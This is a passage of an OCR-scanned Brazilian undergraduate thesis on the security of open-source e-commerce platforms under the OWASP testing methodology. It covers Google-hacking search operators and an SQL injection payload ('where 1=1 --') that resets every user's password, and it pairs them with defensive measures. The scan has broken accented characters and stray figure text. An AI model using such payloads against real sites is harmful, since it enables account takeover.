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RESUMO

A evolugdo da pratica do comércio juntamente com a popularizagdo da internet
resultou no surgimento de um novo modelo para os negdcios, 0 e-commerce, que se encontra
nos ultimos anos em crescente expansdo. Este crescimento, paralelamente ao aumento do
nimero de incidentes de seguranca, mostra que, cada vez mais, estes sistemas estdo expostos
a ameacas. Logo, este trabalho visa realizar uma analise de vulnerabilidade das plataformas de
comércio eletrdnico de cddigo aberto mais conhecidas, empregando a metodologia da Open
Web Application Security Project (OWASP), para verificar seus niveis de seguranga,
apresentar os principais aspectos deste problema e as estratégias de reducao.

Palavras-chave: OWASP, vulnerabilidades, e-commerce, seguranga.



ABSTRACT

The evolution of the practice of trade, along with the popularization of Internet,
resulted in the appearance of a new model for business, the e-commerce, which in last years
is becoming increasingly widespread. This growth, in addition to increasing the number of
incidents safety, shows that, more and more, these systems are exposed to threats. Therefore,
this study aims at an analysis vulnerabilities of e-commerce platforms code open more known,
using the methodology of the Open Web Application Security Project (OWASP), to check their
levels of security, present the main aspects of this problem and reduction strategies.

Key words: OWASP vulnerabilities, e-commerce security.
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INTRODUCAO

O mercado de comércio eletronico tem apresentado uma significativa evolugao nos
ultimos anos. Este setor teve seu surgimento no final dos anos de 1970 mudando o modelo de
vendas e nos ultimos dez anos tem crescido em média, 43,5% (E-BIT, 2012). Alguns dos
motivos que levaram a isso foram a popularizagdo da internet e o aumento das velocidades de
conexdo. Além disso, a grande variedade de produtos, pregos baixos, facilidade do uso, a
agilidade na comparagdo de precos e a comodidade foram elementos valiosos para o aumento
de 37% no numero de consumidores no ano de 2011 em relagdio a 2010, bem como a

disseminagdo desses servigos (E-BIT, 2012).

O crescimento deste mercado deve muito a tecnologia e a internet, as quais sdo uma
realidade para a maioria da populagdo, pois, conforme pesquisa realizada pelo Instituto
Brasileiro de Geografia e Estatistica (IBGE) em 2009, 67,9 milhdes de pessoas eram usudrias
de internet. Outro fato importante ¢ a popularizagdo dos telefones celulares que tinham como
finalidade a comunicagdo rapida com acesso para de qualquer lugar, porém, hoje possuem
diversas funcionalidades, com aparelhos cada vez menores, a precos mais acessiveis e,
consequentemente, maior poder de processamento (IBGE, 2009). Com a evolucdo dos
aparelhos e desses fatores, tais dispositivos passaram a ter presenca constante em todas as
classes sociais. A Agéncia Nacional de Telecomunicagdes (ANATEL) confirmou tal realidade
em dados divulgados em margo de 2012, quando mostrou que em fevereiro do mesmo ano,
havia, no Brasil 247 milhdes de linhas ativas, e a tele densidade chegou a 126,45 por 100
habitantes, estes niimeros mostram um aumento de 16% e 15,5%, respectivamente, se

comparado com o mesmo periodo do ano anterior.

O desenvolvimento tecnoldgico trouxe consigo novas oportunidades, tanto para
operadoras de telefonia mdvel, em conjunto com as operadoras de cartdo de crédito, quanto
para os bancos. Estas parcerias e a near field comunication (comunica¢do por campo de curta
distancia, traduzido por Neto e Campos (2012), isto ¢, tecnologia que permite conectividade
sem fio, de curto alcance) possibilitam aos consumidores de comércio eletronico, um novo
meio para se realizar um pagamento, ¢ de forma mais comoda por meio de seus aparelhos

celulares (FILHO, 2010).

O crescimento do comércio eletronico trouxe inumeras preocupacdes, uma delas
refere-se a seguranca da informagdo transmitida nesses servigos. Paralelas a esta evolucao e

ao grande numero de consumidores, estdo as ameacas de crimes virtuais cuja finalidade ¢
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obter informagdes pessoais dos consumidores (PAGSEGURO, 2010). Além disso, hd outra
questdo que preocupa o usudrio: a falta de seguranca do software. Segundo Hoglund e
McGraw (2006, p. 1), “uma invasdo, na maioria das vezes, tem como ponto vulneravel o

software que, geralmente, em qualquer computador, € a raiz do problema”.

Com a popularizagdo das aplicagdes web, a sua utilizagdo nos ultimos anos
apresenta alguma importancia para diversos fins, tais como: comércio eletronico,
homebanking, gestdao empresarial, etc. Tais aplicagdes necessitam de solugdes mais seguras
pelo fato de processarem informagdes sigilosas. Portanto, ¢ indispensével uma atengdo maior
durante a fase de desenvolvimento, assim como na especificacdo dos aspectos de seguranga
quanto no uso de ferramentas apropriadas, a fim de garantir mais seguranga. Embora exista a
preocupacao em evitar que o software possua falhas, e possa causar danos, ndo ¢ uma tarefa

facil devido a alguns fatores, tais como os citados a seguir (ALBUQUERQUE, 2002).

Uma das origens deste problema ¢ a complexidade dos sistemas computacionais que
pode chegar a milhares de linhas de cddigo, aliada ao numero de tecnologias para
desenvolvimento a disposi¢do e que colaboram para que o software tenha algum defeito
significativo. Um dos responsaveis, conforme Hoglund ¢ McGraw, ¢ a conectividade dos
computadores por meio da internet, os quais ficam mais suscetiveis aos ataques e aumentam a

possibilidade de espalharem falhas que acarretem na suspensao de servigos (2006, p. 19).

O Centro de Estudos, Resposta e Tratamento de incidentes de seguranca (CERT.br),
grupo de resposta a incidentes para a internet, mantido pelo Comité Gestor da Internet no
Brasil, ¢ o responsavel por coletar dados e classifica-los por tipos. Essa atividade tem papel
importante para verificar o nivel de seguranga das redes e aplicacdes existentes no Brasil,
além de tentar colaborar para a diminuicdo de incidentes. No entanto, os dados estatisticos sao
contrarios aos de 2011, quando se obteve um total de 399.515 notificagdes obtidas e que
comparados com 2010, esse nimero foi quase trés vezes maior (CERT, 2011). Outro fato que
evidencia o problema ¢ o aumento de 78% de ataques aos servidores web, quando sdo
exploradas vulnerabilidades em aplicagdes para hospedar arquivos que possam infectar ou

auxiliar em outros ataques (CERT, 2011).

Com o aumento destes incidentes, que apresentam uma quantidade de ameagas as
quais os sistemas na internet estdo expostos, ¢ compreensivel a necessidade de adotar normas
e procedimentos de seguranga na tentativa de reduzir tais ocorréncias, assim como a

necessidade de um 6rgao como o CERT.br.
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Este projeto tem como foco realizar uma analise de vulnerabilidades por meio de
testes de intrusdo, cujo objetivo é encontrar falhas e verificar a seguranca de um ambiente.
Esta técnica, também conhecida como teste de penetracdo ou pentest, ¢ um meio utilizado
para simular métodos que invasores podem usar para burlar a seguranca (KENNEDY et al,
p-1).

Foram selecionadas algumas das principais plataformas de e-commerce open-source
que serdo objeto de estudo desta proposta (MOIP LABS, 2011). Uma delas foi a Magento
Community Edition, versdo livre deste sistema que possui ainda outras duas versdes pagas
(MAGENTO, 2012). Ela foi criada utilizando a linguagem Hypertext Preprocessor (PHP) e
possui uma estrutura dividida em moédulos o que facilita a implementacdo de novas fungdes.
Devido ao grande numero de desenvolvedores e a variedade de funcionalidades, ficou popular

e vem sendo utilizada por empresas conhecidas como Samsung e Lenovo (MAGENTO,

2012).

Outro sistema escolhido foi o osCommerce, uma popular loja on-line, distribuida
sobre licenga General Plublic License (GNU). Este sistema possui uma comunidade de 260
mil membros que desenvolvem, prestam servicos e contribuem para melhorias. Ela ¢ uma
solugdo de comércio eletronico utilizada por mais de 12 mil lojas e que possui apoio de
grandes parceiros como Paypal e Amazon (OSCOMMERCE, 2012). Complementando os
ambientes selecionados, o PrestaShop foi escolhido, uma vez que possui uma documentagao
bastante abrangente em diversos idiomas, e foi desenvolvida na linguagem PHP. Além disso,
a possibilidade de integragdo com sites de terceiros, juntamente com muitas outras
funcionalidades, contribui por ser utilizado em mais de 100 mil lojas em diversos paises

(PRESTASHOP, 2012).

E importante ressaltar que para validar os resultados que serdo obtidos com a técnica
de pentest, ¢ necessario definir a metodologia a ser aplicada. Logo, as metodologias mais
populares avaliadas por Borges foram: NIST, ISSAF, OSSTMM e OWASP (BORGES,
2011). Esta ultima foi escolhida por ser direcionada a testes em aplicagdes web, melhor

adaptavel ao ambiente, o que a diferencia das demais que sao mais generalistas.

Para atender ao objetivo final, serd aplicado a metodologia OWASP, estudada as
técnicas de exploracdo mais criticas e testada a seguranga dos softwares selecionados, para
assim apresentar um comparativo das plataformas analisadas e as vulnerabilidades de cada
uma, juntamente com as falhas mais comuns encontradas nestes ambientes, de modo a

permitir a percepgao do grau de impacto que um incidente pode causar nestes ambientes de e-



15

commerce. E, com isso, mostrar a preocupagdo necessaria com a seguran¢a da informagao,

nao s6 em rede ou fisico, mas também em nivel de software. Com a analise dos dados

apresentados, percebe-se a problematica do tema abordado. Os sistemas de comércio

eletronico estdo seguros perante as técnicas de ataque que os invasores tem a sua disposi¢ao?

O trabalho esta organizado da seguinte forma:

O capitulo 1 introduz os conceitos de e-commerce, seus tipos, caracteristicas assim

como também, cita exemplos de algumas lojas virtuais.

A metodologia OWASP ¢ tratada no capitulo 2, onde sdao apresentadas as fases do

pentest dela, além dos tipos de testes que podem ser realizados e os principios.

O capitulo 3 aborda as técnicas mais utilizadas nas exploracdes de vulnerabilidades,

mas também mostra algumas medidas preventivas para tais problemas.

O capitulo 4 sugere algumas ferramentas para auxiliar na execucdo dos testes citados

na sessao de técnicas e OWASP e também podem automatizar algumas tarefas.

No capitulo 5 sdo exibidas algumas informagdes a respeito da arquitetura
computacional e sobre a metodologia utilizada no estudo, além dos ambientes a serem

testados.

Os dados obtidos nos testes e os resultados de cada plataforma testada ¢ apresentada
no capitulo 6, juntamente com a forma como foram classificadas as vulnerabilidades
quanto ao seus riscos, € também sugerida algumas melhorias para os problemas

encontrados.



1 COMERCIO ELETRONICO

De acordo com Albertin (2004, p. 15), o comércio eletronico ¢ a realizacao de toda a

cadeia de valor dos processos de negdocio num ambiente eletronico, por meio da aplicagao

intensa das tecnologias de comunicacdo e de informacao, atendendo aos objetivos de negocio.

NOVAES afirma (2007, p. 75) que “o comércio tradicional e o eletronico se diferenciam

pelos seguintes fatores™:

a)

b)

Comunicagao: compradores e vendedores possuem um canal de comunicagdo para
trocar informagdes, o qual utiliza linguagens computacionais como Hypertext Markup
Language (HTML) ou linguagens dindmicas, como também, existe Extensible Markup
Language (XML) para transferir grandes quantidades de dados e possibilitar a

padronizagdo de um meio para descrever, processar e transmitir os dados.

Dados: gerenciamento das informagdes que tem papel importante na manutengdo da
base de dados como também na descoberta destas sobre seus usudrios. Esta descoberta
se da por meio de cookies, quando os clientes navegam pelo site. Com esses dados,
juntamente com técnicas estatisticas sdo analisados os habitos dos consumidores para

assim realizar algumas ag¢des de marketing.

Seguranca: mecanismos de segurangca que pretendem garantir a integridade e
privacidade das informagdes, os quais sdo importantes devido a distancia entre o

comprador e o vendedor.

O comércio eletronico pode potencializar as vendas de uma empresa
aumentando o alcance da mesma, e também a sua presenca no mercado por meio deste
novo canal de vendas. Do mesmo modo, possibilita reduzir custos operacionais e
aproximar a empresa de seus clientes (O’CONNEL, 2002). Apesar desses beneficios
que o e-commerce traz, ha grande preocupacao com a privacidade e a seguranga, pois
o trafego de informacgdes pela internet pode trazer inimeros problemas. Segundo

Albertin (2004), essas preocupagdes podem ser divididas em:

e Seguranca em cliente-servidor: métodos de autorizagdo com o objetivo de
garantir que somente usuarios registrados tenham acesso aos dados do sistema.

Mecanismos de seguranca como firewall, criptografia, biometria e outros;

e Seguranca de dados e transmissdo: esse segundo tipo tem como finalidade

assegurar a privacidade e confidencialidade das informagdes que trafegam no
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sistema. Incluindo a autenticagdo de usudrios e pagamentos on-line, ¢ dessa

forma proteger o cliente de fraudes.

Essa preocupacdo se deve em parte ao crescimento € ao faturamento nos ultimos
anos, como se pode observar na figura 1.1. Outro fator que colaborou para essa evolugao
foram os sites de compras coletivas que atingiram faturamento de R$ 1,6 bilhdo em 2011 (E-
BIT EMPRESA, 2012). Estas informagdes evidenciam a preocupagdo com a seguranga ja que
este setor pode ser visado por atacantes com o objetivo de obter informagdes sigilosas como

numero de cartoes de crédito.

2011 R$ 18,7
2010 R$ 14,8

2009 | R$ 10,6

2008 R$ 8,2

2007 R$ 6,3

Figura 1.1 — Gréfico do crescimento do comércio eletronico.
Fonte:E-BIT, 2012.

1.1 Tipos de comércio eletronico

Um modelo de negdcio de acordo com Osterwalder e Pigneur (2010, p. 14) descreve
a base sobre a qual uma empresa cria, fornece e capta valor. Sendo assim, no e-commerce
como em outras areas existem alguns modelos que sdo diferenciados pela forma de atuagao,

os participantes e o publico alvo, conforme se pode observar na figura 1.2.

( Business )&@

B2C

Consumaer < —— Comsumaa

Figura 1.2 — Modalidades de comércio eletronico.
Fonte: Adaptado de Albertin, 2004.

Tais participantes sao as partes envolvidas na negociagdo, tanto como vendedores,
quanto compradores. Eles podem ser consumidores ou empresas, porém para cada

combinac¢do dessas pessoas juridicas ou fisicas ha um modelo de negdcio diferente.
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1.1.1 Business-to-Business (B2B)

Business-to-Business (B2B) ¢ a transagdo de produtos ou servicos realizada entre
empresas, caracterizando-se assim o envolvimento de apenas pessoas juridicas (figura 1.3).
Este modelo pode ser considerado como a substitui¢do dos processos fisicos envolvidos nas
negociacdes, pois permite uma comunica¢do e organizacdo melhor destes processos entre
clientes, parceiros, fornecedores e distribuidores. No entanto, em compras B2B se tem um
risco superior envolvido, devido ao maior investimento que normalmente ¢ feito. No caso de
ser adquirido um produto, uma quantidade errada desse ou até mesmo a forma de pagamento
ndo ser muito favoravel, pode trazer complicagdes para o negdécio como um todo (LEAL,

2004).

Alividade de
compra

Pedido

Fedido de proposta i
Urdem de compra
Alteracdes de pedido de compra

Ordem de pagamento

S

o

e padido de

;_.-fff’f Resposta ao Entrega do
.‘,}___ \ produts

proposta -.\

Crdern de
p-.:ugml'.-mnlc}x

. &R*Q;}ﬁ 7"

o Pedido de proposta
Ordem de compra
Alteragbes de pedido de compra

Axiso de envig
do produfo

R Y
Pagamento

Fomecedar

Figura 1.3 — Exemplo de B2B.
Fonte: Nunes, 2010.

Por exemplo, uma empresa disponibiliza para a empresa cliente informagdes de seus
produtos juntamente com os precos. O cliente apds a escolha dos produtos envia uma ordem
de compra através do sistema. Sendo possivel através dele, acompanhar este pedido via

internet, receber a fatura para fazer o pagamento e trocar informagdes com o fornecedor.

1.1.2 Business-to-Consummer (B2C)

4

Nesse tipo de transagdo eletronica, o processo ¢ entre empresas € consumidores
finais, representando assim, a virtualizacdo da compra e da venda, se diferenciando pela

forma como os produtos sao escolhidos e pagos. Normalmente, ndo estdo envolvidos grandes
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montantes de dinheiro nessas transagcdes. Dois exemplos dessa modalidade sdo as lojas

virtuais, Submarino e Americanas, como se pode observar na figura 1.4 (ALBERTIN, 2004).

[ awercenss.com w =3 |
€ =2 C M O wwwamericanas.com br/estatica/solucoss-empresa e A

*§ Googe (7 outros &Y Entre no Vahoo! [ Gutros Favorios

o . A
h NEGOCI0S CORPORATIVOS A

¥ OPERACOES
ESPECIAIS

AMERICANAS.COM 0 maior varejo online agora tamhém

Negbcios Corporativos com solugdes para sua empresa.

¥ FIDELIDADE E
MCENTIVO

¥ MARKETING DIRETO
¥ VALE PRESENTE

P CLUBE AMERICANAS

** OPERAGOES ESPECIAIS "* FIDELIDADE E INCENTIVO
P VENDAS POR

ATACADO

A Americanas.com possul uma equipe de profissionais das dreas de ogistica, Sua empresa poderd uliizar uma estrutura pronta para a gestéo de catdlogos de
tecnologia, compras, comercial & pos-venda para negocisr, plansiar, implartar & prociutos on-ine ou offine sm agdes promocionais, programas de fidelidae,
executar projetos desenvolvidos especificamente para & sua empresa campanhas de incentivo ou qualguer outro projeta com premiagéo e resgete de

produtos da Americanas com

“eja mais sobre OPERAGOES ESPECIAIS \Veja mais sobre FIDELIDADE E INCENTIVO

e

Premie, incertive, fidelize & prasentsis seu plblico-alvo com o Uso de uma Desenvolvemos 4 estratégia de relacionamento com & sus base de cemtss por meio
ferramenta muto prética. Os Vales Presentss Americanas com podem ser utiizados de aphes de marketing direto com condigies especiais de prego de protutes,

& Amerivanas com diepe P2 rESUAE mals te 400 0011 dens dietament pela 1 vriual, pelo Telsveniias ou parcelamento e frefe da Americanas.com. est mix seus ciertes encontrardo

P pelos quiosguss has mals de 400 Lojas Americanas & Americanss Express faclidaces & descontos especiais para cbterem os produtos oue lhes infersssam. Oz
. Blockhuster cistriauicias por todo o pafs, produtos padem ser comunicados de diversas maneiras.

exclusivamente dedicado

a dlender &s

necessidades da sua Veja mais sobre ALE PRESENTE Weja mais sobre MARKETING DIRETO

empresa.

Figura 1.4 — Loja virtual Americanas.

Apesar dessas lojas serem conhecidas como Business-to-Consummer (B2C) elas
possuem a opg¢do de negbcios corporativos, incluindo assim algumas caracteristicas do
modelo B2B como a solicitagdo de cotagdo, opgdes especiais de preco, entre outras. Mesmo
sendo possivel no tipo B2C, a compra de grandes quantidades nesse modelo de comércio, nao
sao concedidos descontos nesses casos, 0 que pode inviabilizar para as empresas € o contrario

para as pessoas fisicas que adquirem quantidades pequenas para uso pessoal.

1.1.3 Consummer-to-Consummer (C2C)

Este modelo de comércio eletronico ¢ baseado na negociagao de consumidores com
consumidores € normalmente ndo envolvem grandes valores. Neste tipo ndo existem empresas
diretamente envolvidas na negociagdo, mas sim para intermediar a comunicacdo entre as
partes. Este sistema pode parecer inseguro ja que as partes envolvidas ndo se conhecem,
porém um exemplo de Consummer-to-Consummer (C2C) bastante conhecido no Brasil que
mostra o contrario disso ¢ o Mercado Livre (figura 1.5), o qual disponibiliza o servigo de

compra e venda para seus usudrios que sujeitam-se a respeitar algumas regras (LEAL, 2004).
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Figura 1.5 — Plataforma Mercado Livre.

Este servico, possui também uma plataforma de pagamento denominada “Mercado
Pago”, a qual tem a finalidade de oferecer maior seguranga tanto para quem vende quanto
para quem compra. Outro fator que traz maior seguranca sdo as avaliacdes que compradores e
vendedores podem fazer um do outro, possibilitando assim que futuros compradores possam
verificar a reputagdo dentro do sistema e o nimero de vendas realizadas, juntamente com as

avaliagoes feitas apos a compra realizada e concretizada entre ambos.

Neste capitulo foram apresentadas as defini¢des dos tipos de comércio eletronico,
suas caracteristicas e alguns exemplos de lojas. No préximo capitulo serd apresentada a
metodologia OWASP que ¢ a base para a realizagdo do estudo com a finalidade de analisar a

seguranca dos ambientes selecionados.



2 OWASP

OWASP ¢ uma comunidade aberta sem ligacdo com nenhuma empresa comercial,
onde qualquer pessoa interessada pode participar, tendo como objetivo colaborar para a
construcdo de softwares mais seguros (OWASP, 2008). Nesse sentido, existem varios
documentos publicados por ela, mas trés deles sdo os principais que abordam a fase de
desenvolvimento, a revisdao de cddigo e os testes de seguranga, com a finalidade de obter mais

segurancga.

Conforme consta no OWASP Testing guide, o qual serd a base para a realiza¢ao deste

trabalho, 0 mesmo pode ser usado por diversos profissionais:
e Desenvolvedores: para garantir que esta sendo produzido um software seguro;
e Testador: para aumentar o nimero de casos de testes;
e Especialistas de seguranc¢a: para combinar o conhecimento com novas técnicas.

O guia possibilita assim que as empresas compreendam a maneira que devem ser
testados os aplicativos em um pentest. Esta técnica ¢ usada com alguma frequéncia nas
empresas para testar o funcionamento dos softwares ou redes. Segundo Danhieux e Wouter
(2006, APUD JUNIOR, 2010) o pentest ¢ um método para avaliar a seguranca dos sistemas
de informacgao simulando um ataque. Seu objetivo ¢ sondar e identificar falhas em sistemas de

informacao.

A aplicacdo destes testes € norteada por alguns principios durante todo o seu

processo, a seguir listam-se alguns deles (OWASP, 2008):

e Nao existe “bala de prata”: scanner ou firewall ndo irdo fornecer todas as defesas ou

identificar todas as brechas abertas;

e Entender o escopo da seguranca: saber quanto de seguranca um projeto vai exigir para
que as informagdes fiquem protegidas. Classifica-las como devem ser tratadas, por

exemplo: confidencial, secreto, etc;

e Desenvolver a mentalidade certa: pensar nos testes como se fosse um invasor, nao

testar apenas o comportamento normal de um usuério;

e Entenda o assunto: para um bom programa de seguranca, exigir a documentagao da
aplicag¢do, como, casos de uso, diagramas de fluxo e todo tipo de documento para ser

analisado;
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e Use as ferramentas certas: apesar de ndo identificarem todas as falhas, elas tém fungao
importante, pois aceleram o processo, mas para isso ¢ preciso conhecer a ferramenta

para que seja usada de forma correta.

Além desses principios existem outros que podem ser encontrados no guia de testes

da OWASP.

A metodologia de teste de penetracdo ¢ do tipo black box, onde a execugdo ¢ sem
prévio conhecimento do software (WHITAKER; NEWMAN, 2006). Sendo assim, o modelo

de testes da OWASP consiste em trés fatores:
1. O testador que realiza a execucao
2. A metodologia e as ferramentas, que sao o nucleo da técnica
3. O software que ¢ a caixa preta a ser testada.

Além disso, este modelo é divido em duas fases (OWASP, 2008):

e Modo passivo: ¢ onde o testador procura entender a logica da aplicacdo. Nessa etapa
podem ser usadas ferramentas para buscar informagdes, como por exemplo, sobre os
protocolos de comunicacao que sdao usados, bem como, os possiveis pontos de acesso
que serao usados na segunda etapa, como o da figura 2.1, que mostra o endereco de

login de uma aplicagdo, juntamente com dois pardmetros;

hitp e exzemplo. com brilogin phpYa=p 1 &b=p2

Figura 2.1 — Exemplo de ponto de acesso.
Fonte: Adaptado de OWASP, 2008.

e Modo ativo: nesta fase sdo executados os testes propriamente ditos, estes sdo divididos

em nove categorias e sessenta e seis possiveis aéreas a serem testadas.

A tabela 2.1, apresenta as categorias mencionadas e as areas que podem ser

analisadas, na busca por alguma vulnerabilidade:

Tabela 2.1 - Categoria de testes.

Categoria Numero de ref. Nome do teste
Obtengao de | OWASP-1G-001 Spiders, Robots and Crawlers
informagao OWASP-1G-002 Search Engine discovery/Reconnaissance

OWASP-1G-003 Identify application entry points
OWASP-1G-004 Testing for Web Application Fingerprint
OWASP-1G-005 Application Discovery

OWASP-1G-006 Analysis of Error Codes




Categoria

Numero de ref.

Nome do teste

Teste de gestdo
de configuragao

OWASP-CM-001 | SSL/TLS Testing
OWASP-CM-002 | DB Listener Testing
OWASP-CM-003 | Infrastructure Configuration

Management Testing

OWASP-CM-004

Application Configuration Management
Testing

OWASP-CM-005

Testing for File Extensions Handling

OWASP-CM-006

Old, backup and unreferenced files

OWASP-CM-007

Infrastructure and Application Admin
Interfaces

OWASP-CM-008

Testing for HTTP Methods and XST

Teste de | OWASP-AT-001 Credentials transport over an encrypted
autenticacao channel
OWASP-AT-002 | Testing for user Enumeration
OWASP-AT-003 Testing for Guessable (Dictionary) User
Account
OWASP-AT-004 | Brute Force Testing
OWASP-AT-005 Testing for bypassing authentication
schema
OWASP-AT-006 | Testing for vulnerable remember
password and pwd reset
OWASP-AT-007 | Testing for Logout and Browser Cache
Management
OWASP-AT-008 | Testing for CAPTCHA
OWASP-AT-009 | Testing Multiple Factors Authentication
OWASP-AT-0010 | Testing for Race Conditions
Gerenciamento OWASP-SM-001 | Testing for Session Management Schema
de sessdo OWASP-SM-002 | Testing for Cookies Attributes
OWASP-SM-003 | Testing for Session Fixation
OWASP-SM-004 | Testing for Exposed Session Variables
OWASP-SM-005 | Testing for CSRF
Teste de | OWASP-AZ-001 Testing for Path Traversal
autorizacao OWASP-AZ-002 | Testing for bypassing authorization

schema

OWASP-AZ-003

Testing for Privilege Escalation

Teste de logica

OWASP-BL-001

Testing for business logic

do negocio

Teste de | OWASP-DV-001 | Testing for Reflected Cross Site Scripting
validagdo de | OWASP-DV-002 | Testing for Stored Cross Site Scripting
dados OWASP-DV-003 | Testing for DOM based Cross Site

Scripting

OWASP-DV-004

Testing for Cross Site Flashing

OWASP-DV-005 | SOL Injection
OWASP-DV-006 | LDAP Injection
OWASP-DV-007 | ORM Injection
OWASP-DV-008 | XML Injection
OWASP-DV-009 | SSI Injection

OWASP-DV-010

XPath Injection
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Categoria Numero de ref. Nome do teste
OWASP-DV-011 | IMAP/SMTP Injection
OWASP-DV-012 | Code Injection
OWASP-DV-013 | OS Commanding
OWASP-DV-014 | Buffer overflow
OWASP-DV-015 | Incubated vulnerability Testing
OWASP-DV-016 | Testing for HTTP Splitting / Smuggling
Teste de negagao | OWASP-DS-001 Testing for SOL Wildcard Attacks
de servico OWASP-DS-002 | Locking Customer Accounts
OWASP-DS-003 Testing for DoS Buffer Overflows
OWASP-DS-004 User Specified Object Allocation
OWASP-DS-005 User Input as a Loop Counter
OWASP-DS-006 Writing User Provided Data to Disk
OWASP-DS-007 | Failure to Release Resources
OWASP-DS-008 Storing too Much Data in Session
Teste Web | OWASP-WS-001 | WS Information Gathering
Services OWASP-WS-002 | Testing WSDL
OWASP-WS-003 | XML Structural Testing
OWASP-WS-004 | XML content-level Testing
OWASP-WS-005 | HTTP GET parameters/REST Testing
OWASP-WS-006 | Naughty SOAP attachments
OWASP-WS-007 | Replay Testing
Teste Ajax OWASP-AJ-001 AJAX Vulnerabilities
OWASP-WS-002 | AJAX Testing
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Fonte: OWASP Testing Guide, 2008.

Porém, a natureza desses testes ndo ¢ uma ciéncia exata, a documentacdo cita que
deve-se tentar abranger todos os pontos possiveis e que ha algo importante com que se
preocupar, ndo passar neles ¢ sinal que ha problemas sérios de seguranca, mas, como pode-se
pensar, a aprovagao nos testes nao significa que ndo ha problema algum mas que este ndo foi

encontrado (OWASP, 2008).

Este capitulo tratou de apresentar a metodologia OWASP, detalhando seu principios,
fases, categorias de testes e também para quais profissionais ela ¢ destinada. No préoximo
capitulo serd exposta as principais técnicas utilizadas para exploracao de vulnerabilidades e a

partir desse conhecimento entender melhor como tornar os sistemas mais seguros.



3 TECNICAS

Para proteger um sistema ¢ preciso conhecer as técnicas que sao utilizadas por
invasores € como elas funcionam. Tendo esse conhecimento, pode-se tomar medidas com o
objetivo de evitar ou amenizar os danos. Desta forma, este capitulo tem como o objetivo

apresentar as principais técnicas de ataque.

3.1 Footprint

Esta técnica ¢ realizada anteriormente ao ataque, ela envolve a obtengdo de
informacdes sobre sistema alvo, e onde poderdo ser encontradas possiveis falhas. O processo
de footprint comega com a definicdo do sistema alvo, para depois, coletar informagdes
especificas sobre a empresa (GRAVES, 2007). Esta coleta pode ser feita por meio de um
motor de busca. Esse processo ficou conhecido como Google hacking, por meio dele tem-se a
possibilidade de tomar conhecimento sobre funcionarios, além de outras informagdes, € assim
planejar um ataque de engenharia social (GRAVES, 2007). Seguem alguns comandos que
podem ser usados para a sua execu¢do (CARMONA, 2004):

e Filetype: procura apenas dentro de um determinado tipo de arquivo. Deve ser

informada a extensao do arquivo sem o ponto;
e Intitle: busca por um termo no titulo de um arquivo;
e Inurl: pesquisa apenas dentro de uma URL;
e Site: procura somente em um dominio especifico;
e Link: busca dentro de um hyperlink.

Um exemplo dessa ferramenta para reunir informacgdes ficaria como a figura 3.1:

site'<dominio= filetype pdf

Figura 3.1 — Exemplo de Google Hacking.
O resultado desse comando seriam arquivos Portable Document Format (PDF)
armazenados no dominio do site informado. Além desse método para obter dados, existem
outros, como o uso do whois, que ¢ um protocolo para consultar informac¢des sobre um

determinado dominio (BRAGA; TAVARES, 2011). Com ele ¢ possivel conhecer quem ¢ o



26

responsavel e também alguns dados para contato como pode ser observado na figura 3.2

(JUNIOR, 2010).
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3.2 SQL injection

Figura 3.2 — Exemplo de pesquisa whois.

Sql injection ¢ uma das técnicas mais utilizadas para exploragdo de vulnerabilidades

em aplicagdes web. Ela consiste na insercao de codigos Structered Query Language (SQL)

em campos ou parametros para aqueles que ndo forem validados, sejam executados de

maneira arbitraria. Sua execucdo pode ser simples se o usuario de acesso ao banco de dados

tiver privilégios restritos, ou mais complexa, sendo possivel excluir, adicionar ou alterar os

registros (UTO; MELO, 2009). Este tipo de ataque acontece em decorréncia da construcao

dos comandos de forma dindmica, que sdo concatenados com os dados recebidos do usuadrio.

Esses dados sem o devido tratamento podem adicionar um novo comando ou alterar a

estrutura do que foi definido. O teste para verificar se o software possui esse defeito €

simples, informando um apostrofo no campo ou na URL, como mostra a figura 3.3 (UTO;

MELO, 2009):

httpMocathostsite/noticias phpfid=11

Figura 3.3 — Exemplo de teste SQL injection.
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Caso for retornada alguma mensagem de erro, como exemplifica a figura 3.4, a

resposta € positiva.

' Untitied Dacument L =)
L] C M O www fonixbrasi.com br/noticias.phpTid=11h w8 A
2§ Google [ outros ! Entre no Vahoo! (£ Oukros Favoritos
E'ﬁ Esta pgina estd em ‘ ings ~ ‘ Deseja raduziHa? | Traduzir ‘ | MNao | | Opsdes = ‘ ®

Warning: mysql_fetch_assoc(): supplied argument 15 not a valid WMy3QL result resource in
/home/storage/1/95/ed fonixbrasil/public_htinl‘noticias.php on line 43

COPYRIGHT @ - 2003 - Fonix Musik Brasil. Todos os direitos reservados.
Desenvo lviment tos

Figura 3.4 — Exemplo de resposta de teste SQL injection.
Para melhor entender considere uma pagina que utiliza linguagem dinamica (PHP,
JSP ou ASP) e serve para fazer a alteracdo da senha de um usuario. Ela recebe como entrada
usuario € uma nova senha para assim, construir uma instru¢do SQL que ira fazer a atualizacao

dos dados, como representa o cddigo na figura 3.5 (FARIAS, 2009):

TUPDATE usuano SET senha="nova senha’ WHEERE usuario="usuano’

Figura 3.5 — Exemplo de comando SQL.
Fonte: Farias, 2009.

O problema ¢ que se as entradas ndo forem validadas de maneira correta, a 16gica da
instrugdo pode ser alterada e com isso causar alguns transtornos, como a alteracdo da senha de
todos os usudrios. Isto acontece se a entrada “nova_senha’ where 1=1 --” for informada como
sendo a nova senha, com isso, a instrugdo resultante ficaria como a figura 3.6 (FARIAS,

2009):

TTPDATE vsuario SET senha="nowva senha’ where 1=1 --° where usuanio=joac’;

Figura 3.6 — Exemplo de SQL injection.
Fonte: Farias, 2009.

Como pode ser observado, o dado informado foi concatenado com o comando,

13 2

alterando assim a clausula where original. Devido a sequéncia “--” atuar como um
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comentario, este comando SQL alteraria as senhas de todos os usuarios do sistema,

possibilitando ao invasor usar qualquer conta (FARIAS, 2009).

Neste tipo vulnerabilidade ¢ possivel efetuar um ataque mais elaborado nao usando
apenas comandos do tipo Data Manipulation Language (DML) como SELECT, DELETE,
UPDATE como também do tipo Data Definition Language (DDL). Este outro tipo permite a
manipulacdo de estruturas, como criar ou apagar tabelas. No entanto, para se ter sucesso ¢

necessario que tenha os privilégios minimos para essas agdes.

3.2.1 Medidas preventivas

Para tentar evitar que um sistema possua tal vulnerabilidade e seja alvo de um ataque
ou na tentativa de amenizar os danos causados € necessario empregar alguns métodos

(GUMERATO, 2009):

Receber todas as informacgdes do usuario, como se fossem maliciosas. Assim, todos os
dados recebidos devem passar por uma validacdo antes de serem processados ou

concatenados.

e Tratar os erros recebidos do sistema gerenciador de banco de dados(SGDB) para que
sejam exibidas mensagens genéricas e que ndo fornegam informagdes que possam ser

importantes para o atacante.

